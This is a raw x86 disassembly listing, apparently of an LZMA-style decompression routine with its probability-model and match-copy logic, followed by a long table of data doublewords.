loc_433967:				; CODE XREF: __u_____:004339BAj
					; __u_____:00433BE6j ...
		mov	esi, [ebp-1Ch]
		xor	eax, eax
		cmp	[esi], eax
		jz	loc_433C26
		lodsd
		mov	[ebp-28h], eax
		lodsd
		mov	[ebp-18h], eax
		lodsd
		inc	esi
		mov	[ebp-2Ch], esi
		add	esi, eax
		mov	[ebp-1Ch], esi
		mov	edx, [ebp-2Ch]
		and	byte ptr [ebp-1], 0
		mov	ecx, 1B9Bh
		mov	eax, 4000400h
		mov	edi, ebx
		push	1
		rep stosd
		pop	edi
		xor	esi, esi
		lea	ecx, [ebp-40h]
		mov	[ebp-14h], edi
		mov	[ebp-10h], edi
		mov	[ebp-24h], edi
		mov	[ebp-8], esi
		mov	[ebp-20h], esi
		call	sub_4336F3
		cmp	[ebp-28h], esi
		jbe	short loc_433967


loc_4339BC:				; CODE XREF: __u_____:00433C1Bj
		mov	eax, [ebp-8]
		mov	ecx, esi
		and	eax, 3
		lea	edx, [ebp-40h]
		shl	ecx, 4
		add	ecx, eax
		mov	[ebp-0Ch], eax
		lea	ecx, [ebx+ecx*2]
		call	sub_43375F
		test	eax, eax
		jnz	loc_433A60
		movzx	eax, byte ptr [ebp-1]
		shr	eax, 4
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	esi, 4
		lea	ecx, [eax+ebx+0E6Ch]
		mov	[ebp-0Ch], ecx
		jge	short loc_4339FF
		xor	esi, esi
		jmp	short loc_433A0C
; ---------------------------------------------------------------------------


loc_4339FF:				; CODE XREF: __u_____:004339F9j
		cmp	esi, 0Ah
		jge	short loc_433A09
		sub	esi, 3
		jmp	short loc_433A0C
; ---------------------------------------------------------------------------


loc_433A09:				; CODE XREF: __u_____:00433A02j
		sub	esi, 6


loc_433A0C:				; CODE XREF: __u_____:004339FDj
					; __u_____:00433A07j
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_433A34
		mov	eax, [ebp-8]
		mov	edx, [ebp-18h]
		sub	eax, edi
		mov	al, [eax+edx]
		lea	edx, [ebp-40h]
		mov	[ebp-30h], al
		push	dword ptr [ebp-30h]
		call	sub_433873
		and	dword ptr [ebp-20h], 0
		mov	[ebp-1], al
		jmp	short loc_433A58
; ---------------------------------------------------------------------------


loc_433A34:				; CODE XREF: __u_____:00433A10j
		push	1
		pop	eax
		jmp	short loc_433A3C
; ---------------------------------------------------------------------------


loc_433A39:				; CODE XREF: __u_____:00433A53j
		mov	ecx, [ebp-0Ch]


loc_433A3C:				; CODE XREF: __u_____:00433A37j
		add	eax, eax
		lea	edx, [ebp-40h]
		add	ecx, eax
		mov	[ebp-34h], eax
		call	sub_43375F
		or	eax, [ebp-34h]
		cmp	eax, 100h
		jl	short loc_433A39
		mov	[ebp-1], al


loc_433A58:				; CODE XREF: __u_____:00433A32j
		mov	eax, [ebp-18h]
		mov	cl, [ebp-1]
		jmp	short loc_433AC6
; ---------------------------------------------------------------------------


loc_433A60:				; CODE XREF: __u_____:004339D9j
		lea	edx, [ebp-40h]
		lea	ecx, [ebx+esi*2+180h]
		mov	dword ptr [ebp-20h], 1
		call	sub_43375F
		cmp	eax, 1
		jnz	loc_433B3E
		lea	edx, [ebp-40h]
		lea	ecx, [ebx+esi*2+198h]
		call	sub_43375F
		test	eax, eax
		lea	edx, [ebp-40h]
		jnz	short loc_433AD4
		lea	eax, [esi+0Fh]
		shl	eax, 4
		add	eax, [ebp-0Ch]
		lea	ecx, [ebx+eax*2]
		call	sub_43375F
		test	eax, eax
		jnz	short loc_433B15
		cmp	esi, 7
		mov	ecx, [ebp-8]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, edi
		mov	esi, eax
		mov	eax, [ebp-18h]
		mov	cl, [ecx+eax]
		mov	[ebp-1], cl


loc_433AC6:				; CODE XREF: __u_____:00433A5Ej
		mov	edx, [ebp-8]
		inc	dword ptr [ebp-8]
		mov	[edx+eax], cl
		jmp	loc_433C15
; ---------------------------------------------------------------------------


loc_433AD4:				; CODE XREF: __u_____:00433A93j
		lea	ecx, [ebx+esi*2+1B0h]
		call	sub_43375F
		test	eax, eax
		jnz	short loc_433AE9
		mov	eax, [ebp-14h]
		jmp	short loc_433B10
; ---------------------------------------------------------------------------


loc_433AE9:				; CODE XREF: __u_____:00433AE2j
		lea	edx, [ebp-40h]
		lea	ecx, [ebx+esi*2+1C8h]
		call	sub_43375F
		test	eax, eax
		jnz	short loc_433B01
		mov	eax, [ebp-10h]
		jmp	short loc_433B0A
; ---------------------------------------------------------------------------


loc_433B01:				; CODE XREF: __u_____:00433AFAj
		mov	ecx, [ebp-10h]
		mov	eax, [ebp-24h]
		mov	[ebp-24h], ecx


loc_433B0A:				; CODE XREF: __u_____:00433AFFj
		mov	ecx, [ebp-14h]
		mov	[ebp-10h], ecx


loc_433B10:				; CODE XREF: __u_____:00433AE7j
		mov	[ebp-14h], edi
		mov	edi, eax


loc_433B15:				; CODE XREF: __u_____:00433AA8j
		push	dword ptr [ebp-0Ch]
		lea	edx, [ebp-40h]
		lea	ecx, [ebx+0A68h]
		call	sub_4338F1
		mov	[ebp-0Ch], eax
		xor	eax, eax
		cmp	esi, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	esi, eax
		jmp	loc_433BE4
; ---------------------------------------------------------------------------


loc_433B3E:				; CODE XREF: __u_____:00433A79j
		mov	eax, [ebp-10h]
		push	dword ptr [ebp-0Ch]
		mov	[ebp-24h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-10h], eax
		xor	eax, eax
		cmp	esi, 7
		lea	edx, [ebp-40h]
		setnl	al
		dec	eax
		lea	ecx, [ebx+664h]
		and	al, 0FDh
		mov	[ebp-14h], edi
		add	eax, 0Ah
		mov	esi, eax
		call	sub_4338F1
		cmp	eax, 4
		mov	[ebp-0Ch], eax
		jl	short loc_433B79
		push	3
		pop	eax


loc_433B79:				; CODE XREF: __u_____:00433B74j
		lea	ecx, [ebp-40h]
		push	ecx
		push	6
		shl	eax, 7
		pop	edx
		lea	ecx, [eax+ebx+360h]
		call	sub_4337F7
		cmp	eax, 4
		jl	short loc_433BE1
		mov	ecx, eax
		mov	edi, eax
		sar	ecx, 1
		and	edi, 1
		dec	ecx
		or	edi, 2
		shl	edi, cl
		cmp	eax, 0Eh
		jge	short loc_433BC2
		lea	edx, [ebp-40h]
		push	edx
		mov	edx, ecx
		mov	ecx, edi
		sub	ecx, eax
		lea	ecx, [ebx+ecx*2+55Eh]


loc_433BB9:				; CODE XREF: __u_____:00433BDFj
		call	sub_433831
		add	edi, eax
		jmp	short loc_433BE3
; ---------------------------------------------------------------------------


loc_433BC2:				; CODE XREF: __u_____:00433BA6j
		lea	edx, [ecx-4]
		lea	ecx, [ebp-40h]
		call	sub_43371B
		shl	eax, 4
		add	edi, eax
		lea	eax, [ebp-40h]
		push	eax
		push	4
		pop	edx
		lea	ecx, [ebx+644h]
		jmp	short loc_433BB9
; ---------------------------------------------------------------------------


loc_433BE1:				; CODE XREF: __u_____:00433B92j
		mov	edi, eax


loc_433BE3:				; CODE XREF: __u_____:00433BC0j
		inc	edi


loc_433BE4:				; CODE XREF: __u_____:00433B39j
		test	edi, edi
		jz	loc_433967
		add	dword ptr [ebp-0Ch], 2


loc_433BF0:				; CODE XREF: __u_____:00433C13j
		mov	edx, [ebp-8]
		mov	ecx, [ebp-18h]
		mov	eax, edx
		sub	eax, edi
		mov	al, [eax+ecx]
		mov	[edx+ecx], al
		inc	edx
		dec	dword ptr [ebp-0Ch]
		mov	[ebp-1], al
		cmp	dword ptr [ebp-0Ch], 0
		mov	[ebp-8], edx
		jle	short loc_433C15
		cmp	edx, [ebp-28h]
		jb	short loc_433BF0


loc_433C15:				; CODE XREF: __u_____:00433ACFj
					; __u_____:00433C0Ej
		mov	eax, [ebp-8]
		cmp	eax, [ebp-28h]
		jb	loc_4339BC
		jmp	loc_433967
; ---------------------------------------------------------------------------


loc_433C26:				; CODE XREF: __u_____:0043396Ej
		pop	ebx
		lodsd
		leave
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 7E107DBh, 7E107DEh, 6 dup(4000400h),	43F0420h, 43F045Dh
		dd 7 dup(4000400h), 400043Fh, 6	dup(4000400h), 74206BAh
		dd 6F80646h, 6 dup(4000400h), 45D043Fh,	420043Fh, 6 dup(4000400h)
		dd 43F0400h, 7 dup(4000400h), 62E0742h,	6BA06F8h, 6 dup(4000400h)
		dd 43F045Dh, 43F0420h, 6 dup(4000400h),	3E00400h, 40003E0h
		dd 6 dup(4000400h), 6F80653h, 74206BAh,	0Eh dup(4000400h)
		dd 17B01D3h, 170017Bh, 6 dup(4000400h),	400001Fh, 2 dup(4000400h)
		dd 4000420h, 40003C1h, 1F0400h,	40007D5h, 3 dup(4000400h)
		dd 400043Fh, 7E10400h, 40003C1h, 5 dup(4000400h), 400043Fh
		dd 5 dup(4000400h), 6BA06F8h, 6530742h,	3Eh dup(4000400h)
		dd 3E00400h, 40003E0h, 16h dup(4000400h), 17B0170h, 170017Bh
		dd 6 dup(4000400h), 4200400h, 2	dup(4000420h), 4000400h
		dd 4000420h, 3 dup(4000400h), 4000420h,	7 dup(4000400h)
		dd 4000420h, 0Fh dup(4000400h),	47A0400h, 400043Dh, 3E003A3h
		dd 4000400h, 2 dup(3E00400h), 3	dup(4000400h), 3FF03E0h
		dd 4000400h, 4200400h, 6 dup(4000400h),	3E00400h, 4200420h
		dd 3 dup(4000400h), 4000420h, 8	dup(4000400h), 4200400h
		dd 40003E0h, 4200400h, 2 dup(4000400h),	40003E0h, 4 dup(4000400h)
		dd 3E00400h, 0Ah dup(4000400h),	4200400h, 0Ah dup(4000400h)
		dd 43F0400h, 40003C1h, 3C10400h, 2 dup(4000400h), 3C10400h
		dd 5 dup(4000400h), 43F0400h, 0Bh dup(4000400h), 400043Fh
		dd 1Ah dup(4000400h), 3E00400h,	4200400h, 4000400h, 4000420h
		dd 2 dup(4000400h), 40003E0h, 4000400h,	3E00420h, 4000400h
		dd 40003E0h, 2 dup(4000400h), 4000420h,	4 dup(4000400h)
		dd 3E00400h, 14h dup(4000400h),	3A90400h, 38603E0h, 4200400h
		dd 3860400h, 4000400h, 4000420h, 4000400h, 3860400h, 40004E4h
		dd 4200400h, 4000420h, 40003E0h, 4000400h, 45D0400h, 400041Fh
		dd 3E003C1h, 4000400h, 4200400h, 4000420h, 40003E0h, 4000400h
		dd 45D0400h, 40003E2h, 3FF0420h, 0F1h dup(4000400h), 1F001Fh
		dd 80h dup(4000400h), 5E0400h, 4F03E0h,	4200400h, 1F0420h
		dd 4000400h, 2 dup(4000420h), 1F0400h, 2 dup(4000400h)
		dd 40003E0h, 4000400h, 40003E0h, 2 dup(4000400h), 1F0400h
		dd 4 dup(4000400h), 3E00400h, 3	dup(4000400h), 4200400h
		dd 6 dup(4000400h), 1F0400h, 9 dup(4000400h), 3E00400h
		dd 7 dup(4000400h), 4000420h, 0Dh dup(4000400h), 1F0400h
		dd 13h dup(4000400h), 4200400h,	0Eh dup(4000400h), 40003E0h
		dd 1Ch dup(4000400h), 1F0400h, 4490400h, 48B044Ch, 3F003B6h
		dd 3FB04CFh, 3F204E9h, 3C70304h, 484053Dh, 43F03F8h, 47D03DFh
		dd 40B04E2h, 3B3041Ah, 3F2046Bh, 4170402h, 4C60426h, 43203F4h
		dd 324040Ah, 5330424h, 531047Dh, 4020319h, 4D5049Ch, 3A303FBh
		dd 3F103E0h, 4660420h, 3890401h, 3F7046Eh, 438035Ch, 3F40417h
		dd 32A037Ah, 3B40418h, 3300466h, 437043Bh, 4730401h, 4100445h
		dd 3A9036Ch, 3950379h, 4300487h, 41C037Fh, 4370491h, 45E044Fh
		dd 3E003ABh, 341045Dh, 3A40415h, 416038Ch, 432047Ah, 3B4043Fh
		dd 3AF03F7h, 46A042Bh, 3B90362h, 4220410h, 425043Fh, 34C03D8h
		dd 4650428h, 42A03FBh, 45C03FBh, 4BD0364h, 3B402E8h, 4820360h
		dd 37B0439h, 3E10372h, 3E7050Eh, 44C04AEh, 40004C0h, 3CA04F6h
		dd 4E10432h, 355035Bh, 47803C9h, 3CA0374h, 40D049Eh, 3790346h
		dd 38502DAh, 43803E8h, 44C04F4h, 4210369h, 46E041Eh, 3B9044Dh
		dd 38503D0h, 4BB03E6h, 402048Bh, 31B04D2h, 41E04FBh, 41E03A7h
		dd 51603CFh, 44D02D9h, 3FF0451h, 4840470h, 4330402h, 3B003DAh
		dd 3DA04E2h, 46703A5h, 3CD04EFh, 3DF0427h, 49A03FFh, 447029Ch
		dd 47A0477h, 3F303CEh, 3F603ADh, 4340352h, 3C704AFh, 3E4038Ch
		dd 3A20499h, 4C0040Bh, 4950385h, 50103A8h, 38E03E2h, 46D0438h
		dd 30B03F0h, 483041Eh, 3990478h, 4DE0474h, 41A03CDh, 3E103FCh
		dd 42E0478h, 45303E3h, 40404B5h, 3AA032Dh, 4A9047Ch, 46A0443h
		dd 3A004BAh, 46C046Ah, 3C204DAh, 2EB03C6h, 399047Bh, 3B803D1h
		dd 4D40386h, 3E20457h, 39203C5h, 3990489h, 3F403E0h, 47C0400h
		dd 420046Dh, 40003C7h, 4000400h, 40003A3h, 4000400h, 3E00400h
		dd 4000400h, 400043Fh, 7 dup(4000400h),	40003C1h, 6Fh dup(4000400h)
		dd 4010400h, 2 dup(4000400h), 40003E0h,	7Ch dup(4000400h)
		dd 4C60400h, 41E0408h, 3E4034Fh, 45103CFh, 3590458h, 4C003BDh
		dd 40804ABh, 3D70479h, 39C041Eh, 4B103B0h, 3A90396h, 44D043Dh
		dd 3BC046Bh, 31303F1h, 4CB0327h, 2F703A1h, 378034Dh, 3DC0414h
		dd 35F0397h, 41903A8h, 45A0438h, 442034Eh, 4B40349h, 3D9032Dh
		dd 3DA046Fh, 38204A0h, 3E2040Dh, 3BF043Dh, 3E2039Bh, 33503A6h
		dd 3730401h, 387045Dh, 47F0339h, 4C0043Dh, 3D40387h, 42C0314h
		dd 3B6042Fh, 4310343h, 3B503E8h, 43C0404h, 43803ABh, 4AA0419h
		dd 3640336h, 41802F2h, 415041Eh, 3D903F5h, 41A05A3h, 3D80492h
		dd 47C04AFh, 42B0464h, 438049Ch, 3ED053Bh, 44303A2h, 3C2035Bh
		dd 42D0426h, 51603EEh, 4490466h, 3CB03F6h, 3AC032Eh, 36D050Eh
		dd 3BB048Fh, 48703C3h, 4CF045Bh, 4B9043Dh, 311031Eh, 35E043Dh
		dd 40403D9h, 35103A7h, 3DF0385h, 2CD03D6h, 49703A7h, 3EC03C4h
		dd 4DD052Dh, 3B60451h, 3250428h, 41103B3h, 4700453h, 2CE03B7h
		dd 48303F0h, 3930370h, 3F00388h, 439043Fh, 3F0046Dh, 3B30413h
		dd 31303A2h, 45003A8h, 41C03C9h, 49903B4h, 3980438h, 45103DDh
		dd 4D20489h, 47D048Fh, 46F03C6h, 43E03A0h, 3B803F5h, 3460440h
		dd 3D803DAh, 34E03CBh, 4AD040Ch, 46F0418h, 3D80459h, 2E2033Ah
		dd 4430436h, 4990378h, 49A0409h, 3F8037Ch, 3D3054Dh, 439043Fh
		dd 42D03EFh, 414040Ah, 44303DAh, 3E804D1h, 322032Eh, 3A503E1h
		dd 33803A1h, 43F03B0h, 32503D7h, 3670427h, 46803F4h, 4AB0367h
		dd 42D0426h, 381046Eh, 43503D9h, 4900377h, 46A03B4h, 45E03ABh
		dd 4A903D8h, 45C0501h, 45B0400h, 40003A3h, 4200400h, 7Dh dup(4000400h)
		dd 41F0400h, 3C103E0h, 4000400h, 43F0400h, 4000400h, 4000420h
		dd 7Ah dup(4000400h), 4780400h,	4400310h, 3C6041Ch, 33B04A3h
		dd 43603F5h, 3C9038Ch, 45A03EBh, 45C0415h, 3EA0302h, 2E40472h
		dd 3C00463h, 3C103D8h, 32B0416h, 46F03AEh, 3320395h, 4EE03B1h
		dd 3F0042Fh, 456049Bh, 427042Dh, 46C0408h, 3AD038Ch, 50602DEh
		dd 3C00337h, 46804A0h, 493046Dh, 4660401h, 3C70418h, 45B03E9h
		dd 3EE049Eh, 34803D0h, 307038Dh, 3C103F9h, 3E70407h, 3E20384h
		dd 4600478h, 47E03DFh, 433032Bh, 3A20402h, 4250460h, 359041Ah
		dd 4A8037Dh, 4330422h, 51504B2h, 3E90484h, 3FE0498h, 42104B1h
		dd 43C0371h, 3E5043Dh, 44D0477h, 38F0466h, 38A043Fh, 4C20483h
		dd 4350420h, 3CA03A9h, 347047Dh, 3EA042Ah, 3E10490h, 3E2041Dh
		dd 47103FCh
		dd 41E0376h, 38903E1h, 3CE0460h, 45604A5h, 3F403A7h, 562041Eh
		dd 3A304F0h, 4B6047Ah, 3D10383h, 462032Bh, 34D03FBh, 401044Bh
		dd 417040Eh, 3230403h, 3F204BBh, 2D50452h, 4DF0473h, 3DD04B8h
		dd 47003C8h, 552045Dh, 4010478h, 42904EDh, 3BD03FFh, 37E038Fh
		dd 3BD042Eh, 40B03F5h, 4910336h, 31303E1h, 46503DAh, 4040475h
		dd 3E40452h, 3A5049Fh, 36F03A5h, 3830427h, 42E0518h, 3160404h
		dd 3DD047Ah, 342050Fh, 42A0380h, 4E1040Eh, 2D303E6h, 4760437h
		dd 3E2045Bh, 3A803FDh, 39D0448h, 3F3041Ah, 4250432h, 521043Bh
		dd 3E40452h, 3D803C9h, 3A303ABh, 2F8043Fh, 4680397h, 39603DBh
		dd 3920414h, 31F0432h, 4D203C2h, 46A0371h, 39204B8h, 330030Ch
		dd 49C050Fh, 3E6038Dh, 41E03C4h, 36C03D4h, 492043Fh, 4740372h
		dd 35D041Ch, 46B0410h, 417038Fh, 4200400h, 42003C1h, 7Eh dup(4000400h)
		dd 4790400h, 2 dup(4000400h), 4000420h,	7Ch dup(4000400h)
		dd 40D0400h, 3B803F5h, 47303AFh, 3AC048Fh, 50003D1h, 43103E0h
		dd 46C03D8h, 4400393h, 3DF03ECh, 37E0367h, 431043Eh, 55A046Eh
		dd 2ED0435h, 41B0350h, 3090301h, 46E0371h, 4980358h, 32303DEh
		dd 30D03FEh, 4530332h, 2E80419h, 41E034Bh, 3920417h, 36103BAh
		dd 3B00343h, 3C2023Bh, 413046Ch, 4940433h, 4580504h, 4060491h
		dd 44B047Ah, 4450443h, 3B0033Ah, 3D30410h, 48E033Ch, 392043Fh
		dd 47704B8h, 38C03D7h, 42903C5h, 4B5051Ch, 45D03F4h, 3BC043Fh
		dd 37C0357h, 43A0419h, 41F04F1h, 44C03A3h, 483043Fh, 45803BEh
		dd 3C3044Bh, 4B304C4h, 3C803C5h, 446042Ah, 3730404h, 330041Ah
		dd 43B043Fh, 32603CDh, 36C03D9h, 3BA0352h, 3BC02B0h, 49204A3h
		dd 4280415h, 4200456h, 4750396h, 3D10410h, 3FB0438h, 3D304A0h
		dd 34F03F4h, 3D60319h, 3200447h, 41E03BFh, 45003E0h, 3CE0393h
		dd 41103FFh, 3EA03F0h, 4220438h, 373043Fh, 459044Fh, 36B03E9h
		dd 36B03F8h, 4670373h, 455047Dh, 3FA036Fh, 3E103BCh, 49A045Bh
		dd 4130493h, 3A30442h, 47B0479h, 41A041Bh, 47904ABh, 40103B2h
		dd 4990353h, 39D0443h, 42304A5h, 57C03B7h, 449041Fh, 45E03C1h
		dd 4360398h, 42D03A0h, 44B043Eh, 4330496h, 3DD0496h, 37F0337h
		dd 362039Fh, 38403A6h, 3E10484h, 40F038Ch, 3CB03A6h, 4460404h
		dd 3E603E2h, 42804D1h, 4A303E0h, 3E80404h, 3FF03FDh, 3F00462h
		dd 42A04C5h, 45B049Eh, 3520466h, 34A0445h, 4A70401h, 3CF03D4h
		dd 40204C2h, 4D003DDh, 4320333h, 4570471h, 47502D8h, 47D03FEh
		dd 44E0356h, 53E03EFh, 3FA0400h, 3E0043Fh, 7Eh dup(4000400h)
		dd 4010400h, 4000420h, 400043Fh, 7Dh dup(4000400h), 4430400h
		dd 37A0437h, 408048Ah, 4A00481h, 41F0415h, 43C047Eh, 43C0471h
		dd 3300375h, 4030413h, 39803CEh, 3D60393h, 3FF04BCh, 3C2049Ch
		dd 40B03ECh, 44603C1h, 46C045Dh, 351035Eh, 4790472h, 4B203C4h
		dd 358044Fh, 3E40368h, 3C4043Dh, 425051Bh, 39F0339h, 38F03C3h
		dd 33E03CBh, 3DF032Fh, 41F0413h, 38F044Ch, 45C03D0h, 49C039Eh
		dd 45003ECh, 3980319h, 41F046Ah, 3D703CBh, 46302EAh, 46E0402h
		dd 4CF03DFh, 45D0424h, 56E0393h, 49403E6h, 404040Bh, 4BF03F9h
		dd 4D90379h, 43D0435h, 45B03D6h, 45503E9h, 3D903BFh, 48803F5h
		dd 3AB03C3h, 38C045Eh, 3640515h, 3F1034Eh, 4850476h, 41A03BBh
		dd 32803D7h, 4DE04F2h, 3E804E1h, 43203E4h, 4A00386h, 41504D1h
		dd 2E803E3h, 3820300h, 48F0452h, 36D0313h, 2D90403h, 41C0501h
		dd 3E60425h, 44B040Ch, 42F043Dh, 3FC045Ch, 4570374h, 42E047Eh
		dd 457045Fh, 396037Ah, 41A0435h, 34E045Fh, 3C804C7h, 3D303F3h
		dd 43D0401h, 3AB04A3h, 3CE0508h, 4DB0421h, 49B0458h, 3B103C9h
		dd 34B0402h, 41A03D0h, 48F03C3h, 45103A8h, 3F80413h, 3BA041Eh
		dd 40D04E1h, 43303B2h, 39403A1h, 47F04B0h, 4160490h, 3FA038Eh
		dd 40203C0h, 3DA043Ch, 3980449h, 4BD043Fh, 39E042Bh, 4390370h
		dd 3C103B6h, 41004AFh, 42A0393h, 42104B5h, 4850384h, 3CF030Dh
		dd 475045Ah, 3F40431h, 3FD0469h, 3DF03F0h, 49004B4h, 3E803ABh
		dd 3E0041Dh, 41D04C2h, 3FA042Ah, 4DB036Ah, 3BF038Ch, 3590503h
		dd 3710378h, 41603F0h, 46A03ABh, 42B042Ch, 4760436h, 4D303D6h
		dd 385030Dh, 43B0400h, 4200420h, 42003E0h, 3E00400h, 4000400h
		dd 42003E0h, 7 dup(4000400h), 4200400h,	8 dup(4000400h)
		dd 3E00400h, 69h dup(4000400h),	3A30400h, 3FF03A3h, 3FF0400h
		dd 40003E0h, 2 dup(4000400h), 3E00400h,	4 dup(4000400h)
		dd 40003E0h, 0Fh dup(4000400h),	40003E0h, 1Ah dup(4000400h)
		dd 4200400h, 49h dup(4000400h),	44C0400h, 3570390h, 45B037Ah
		dd 3640441h, 4170405h, 35B03BEh, 3E40490h, 484047Ah, 34A053Ah
		dd 3E9041Dh, 41E04FDh, 4650455h, 4A70506h, 420041Eh, 4C9035Eh
		dd 492041Bh, 3F70391h, 4FD039Dh, 462032Bh, 3F80479h, 38702ECh
		dd 47E040Ah, 461040Dh, 473042Ah, 40E0379h, 47804B9h, 4A50465h
		dd 30503EDh, 45F04AFh, 3620424h, 3080415h, 3E80455h, 410035Bh
		dd 32804E4h, 3EA0411h, 42D04B0h, 3C503A7h, 42703F4h, 3CF0407h
		dd 49103C4h, 436034Ch, 3E3037Eh, 45A041Ah, 46203F4h, 49C0362h
		dd 4B504B9h, 42C03B5h, 46A03C7h, 3B90436h, 36C038Dh, 4770416h
		dd 4060370h, 3FE03D8h, 35403A9h, 4C00402h, 35F03E9h, 40404C5h
		dd 31C0458h, 44B0403h, 4740443h, 34F03C4h, 2EB03A3h, 43F0429h
		dd 3C903BEh, 4CC02FCh, 3C30431h, 44B03EAh, 4E803DFh, 459044Bh
		dd 389047Dh, 42003EAh, 38B05A6h, 402046Bh, 49A03C1h, 382032Ch
		dd 39F03DFh, 2C503E0h, 39E0497h, 3220489h, 46D039Ch, 4B00350h
		dd 3B903F4h, 476038Dh, 3EE03AAh, 38603D0h, 43003A0h, 45F0426h
		dd 42803ECh, 42C0411h, 3B40424h, 4520325h, 3BE0418h, 4C70473h
		dd 41F048Bh, 4CD03B1h, 41603E9h, 300036Dh, 3E0044Eh, 38B04ADh
		dd 4020374h, 3E20493h, 3E603FEh, 3D804D4h, 38C03CEh, 3C303DCh
		dd 45C03C7h, 3E9040Ch, 45104D2h, 38C0337h, 3AD037Ch, 358033Bh
		dd 492042Bh, 414033Dh, 4BF0432h, 41D0366h, 40903C7h, 31903B3h
		dd 526048Ch, 37703CEh, 35103C0h, 3B603EDh, 38803A8h, 44704B3h
		dd 345036Fh, 42D039Eh, 3C10388h, 38503F0h, 3BB0423h, 3C90400h
		dd 3C103E0h, 7Eh dup(4000400h),	3E00400h, 4000420h, 7Eh	dup(4000400h)
		dd 3160400h, 44A0456h, 3BE03F8h, 3590415h, 3ED034Ch, 4C10347h
		dd 2FD0435h, 408045Dh, 473039Eh, 42E03E0h, 49C0558h, 4010406h
		dd 3B003E2h, 34F04DAh, 36103D7h
		dd 50A03F3h, 3BA0440h, 45E038Eh, 4350465h, 499041Fh, 3CB03BDh
		dd 3E304BDh, 41A0393h, 3C003E7h, 31D0494h, 39204D2h, 36C03FEh
		dd 39B03E2h, 3C403FFh, 3F6043Bh, 42903B9h, 43B040Dh, 3B20313h
		dd 43B03CEh, 48F03DBh, 3BD043Ah, 3E103EFh, 35204A6h, 4210446h
		dd 407048Dh, 35E04B3h, 40304DEh, 3AB0420h, 2F103E2h, 4070424h
		dd 39202B3h, 35003C8h, 3D803BBh, 3490331h, 31603E2h, 3A40538h
		dd 4F60418h, 3C20374h, 441039Dh, 4CB03C2h, 4530433h, 3890459h
		dd 45A03D3h, 4630434h, 49703E3h, 342043Dh, 318038Fh, 3DE03C1h
		dd 44A04F7h, 367039Ch, 39F0462h, 4BD03CBh, 4840437h, 4860397h
		dd 34D03CDh, 3D203B3h, 3C303B1h, 4210418h, 4AA03E0h, 3CD04BFh
		dd 3BD0459h, 3A30357h, 40203BBh, 36903C6h, 3780473h, 3D903ABh
		dd 3DB043Bh, 441048Ch, 4020420h, 3D60469h, 403033Eh, 3860466h
		dd 3FC0374h, 3E90355h, 4F2044Eh, 40D03D9h, 3DD04D2h, 37D0474h
		dd 2E70457h, 3EE0315h, 33403FFh, 41E046Bh, 3F90385h, 3A403C8h
		dd 3FF043Bh, 3FA03FFh, 40D044Dh, 35B041Bh, 48D03ADh, 32F0420h
		dd 35803FCh, 3AC0518h, 4140453h, 3A30436h, 38303A0h, 3F8046Bh
		dd 4020369h, 50D038Ah, 4AA04FDh, 4350448h, 4380412h, 3F403A3h
		dd 4190459h, 3E204C4h, 3E60424h, 43203DAh, 36A047Fh, 3B4043Eh
		dd 39103A3h, 3850440h, 4B60383h, 44B041Fh, 50E0421h, 43B0400h
		dd 40003E0h, 9 dup(4000400h), 4200400h,	75h dup(4000400h)
		dd 40003C1h, 3C10400h, 2 dup(4000400h),	3C10400h, 5 dup(4000400h)
		dd 3E00400h, 0Bh dup(4000400h),	3E00420h, 17h dup(4000400h)
		dd 4200400h, 50h dup(4000400h),	4A00400h, 3C10360h, 4050495h
		dd 47903E3h, 42A03A4h, 2CA0443h, 43B031Ch, 3FC03F4h, 33E0367h
		dd 3FA01F0h, 45C036Dh, 41D030Ch, 4A5040Fh, 3D00474h, 43C0407h
		dd 45803B2h, 3920374h, 3F904E6h, 410033Fh, 3190357h, 45303EAh
		dd 3C103BDh, 4F50443h, 3760371h, 48D03C3h, 46C0334h, 3F00438h
		dd 3DD04C5h, 47504ACh, 40603E9h, 4390437h, 367044Fh, 408039Bh
		dd 403043Ah, 37A036Eh, 41D0401h, 3350345h, 35903AEh, 39403BFh
		dd 3470447h, 49504E5h, 3EF03D9h, 43A03BBh, 4EB03FEh, 451040Fh
		dd 5290340h, 4E60464h, 4D70463h, 3E00364h, 4720460h, 44A03F9h
		dd 2A40414h, 4F204AEh, 373047Ch, 42F0412h, 3B40431h, 414043Eh
		dd 48203A2h, 42E0408h, 3AB0431h, 36803A4h, 4040393h, 4330366h
		dd 4A50469h, 4A203DFh, 45103F8h, 3A703CBh, 3BE04C5h, 411043Ch
		dd 3DB0423h, 4670498h, 3F503DAh, 41D04AFh, 43103F9h, 36E0428h
		dd 4C30474h, 44803F3h, 4A704ABh, 3C30372h, 3080414h, 3B903B0h
		dd 3CE0412h, 42F0358h, 483041Eh, 36F03D8h, 45A043Fh, 42D0418h
		dd 3C10411h, 30703F5h, 38604D1h, 4410364h, 44D0549h, 396045Eh
		dd 3CE033Ah, 3EE0446h, 4FB04F5h, 31C049Ah, 3C503B0h, 47A0382h
		dd 3A8038Fh, 5050439h, 31B044Ch, 48D03EAh, 457041Fh, 33D0464h
		dd 3030398h, 40203D2h, 35E045Ch, 3B4048Ah, 33C03C2h, 33C0469h
		dd 386030Ch, 3CB03CCh, 38A041Ah, 40304CBh, 429043Ch, 35C0357h
		dd 40B0431h, 342041Eh, 4740437h, 43103F8h, 36203E3h, 3A603EDh
		dd 48704C5h, 3DB03C7h, 349044Dh, 39203B6h, 457043Fh, 3C10400h
		dd 7Fh dup(4000400h), 3E00400h,	42003E0h, 4200400h, 7Dh	dup(4000400h)
		dd 2FC0400h, 3B10351h, 4E20451h, 4200455h, 3F803CCh, 4050487h
		dd 4C00405h, 46303D9h, 41C0355h, 46B04E1h, 2AC043Eh, 34603D8h
		dd 4380432h, 3F10333h, 4F3044Ch, 3B7035Ch, 310035Bh, 3B8043Ah
		dd 4B50484h, 47103E7h, 3860433h, 38703FCh, 2BB0419h, 5240407h
		dd 402044Bh, 4080401h, 3A90477h, 4020404h, 3BE03F5h, 35F03E9h
		dd 3B20455h, 4D70490h, 373040Eh, 4870422h, 3720400h, 403041Eh
		dd 4310422h, 45F04D5h, 506038Ch, 3EC0386h, 3D90414h, 3BD0479h
		dd 4B9040Bh, 41E0504h, 39B045Ah, 4C50466h, 3B203DEh, 3B60497h
